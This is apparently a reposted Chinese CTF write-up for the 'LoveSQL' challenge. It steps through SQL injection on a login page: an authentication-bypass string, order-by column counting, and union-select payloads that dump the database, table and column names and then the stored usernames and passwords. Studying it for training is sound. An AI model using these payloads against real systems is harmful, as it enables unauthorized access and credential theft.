首页 > 数据库技术 > 详细

[极客大挑战 2019]LoveSQL

时间:2020-08-16 10:28:04      阅读:96      评论:0      收藏:0      [点我收藏+]

0x00

打开网页
技术分享图片
首先试试万能密码

账户:随意
密码:1‘ or 1=1#

技术分享图片
得到一段加密的密文,应该是MD5,结果找了很多网站也没能解开
看来只能通过其他思路了,既然存在万能密码那么肯定存在SQL注入
我们先来构造一个payload:

/check.php?username=123&password=1‘ order by 3%23
## %23为#的url编码,url中#为预留符号,直接在url中输入#可能会达不到自己想要的结果

技术分享图片
继续

/check.php?username=123&password=1‘ order by 4%23

技术分享图片
报错了,这说明该表存在三个字段
我们可以使用联合注入,看看是否存在回显,以及回显的位置,使用以以下payload:

/check.php?username=123&password=1‘ union select 1,2,3%23

技术分享图片
我们可以看到存在两处回显,我们接着去查询一下当前使用的数据库,使用如下payload

/check.php?username=123&password=1‘ union select 1,database(),3%23

技术分享图片
接着通过已知的库名去查询该库中的表名,使用如下payload:

/check.php?username=admin&password=1‘ union select 1,2,group_concat(table_name) from information_schema.tables where table_schema=‘geek‘%23

技术分享图片
我们查询后发现,该库中存在两个表,继续查询l0ve1ysq1表中的字段,使用如下payload:

/check.php?username=123&password=1‘ union select 1,2,group_concat(column_name) from information_schema.columns where table_name =‘l0ve1ysq1‘%23

技术分享图片
可以看到存在三个字段,我们接下来同时查询一下username和password字段

/check.php?username=123&password=1‘ union select 1,(select group_concat(username) from l0ve1ysq1),(select group_concat(password) from l0ve1ysq1)%23

技术分享图片
可以看到返回的结果很乱,我们可以通过网站源码查看
技术分享图片
在返回的结果中得到了我们想要的flag

[极客大挑战 2019]LoveSQL

原文:https://www.cnblogs.com/Wuser/p/13511659.html

(0)
(0)
   
举报
评论 一句话评论(0
关于我们 - 联系我们 - 留言反馈 - 联系我们:wmxa8@hotmail.com
© 2014 bubuko.com 版权所有
打开技术之扣,分享程序人生!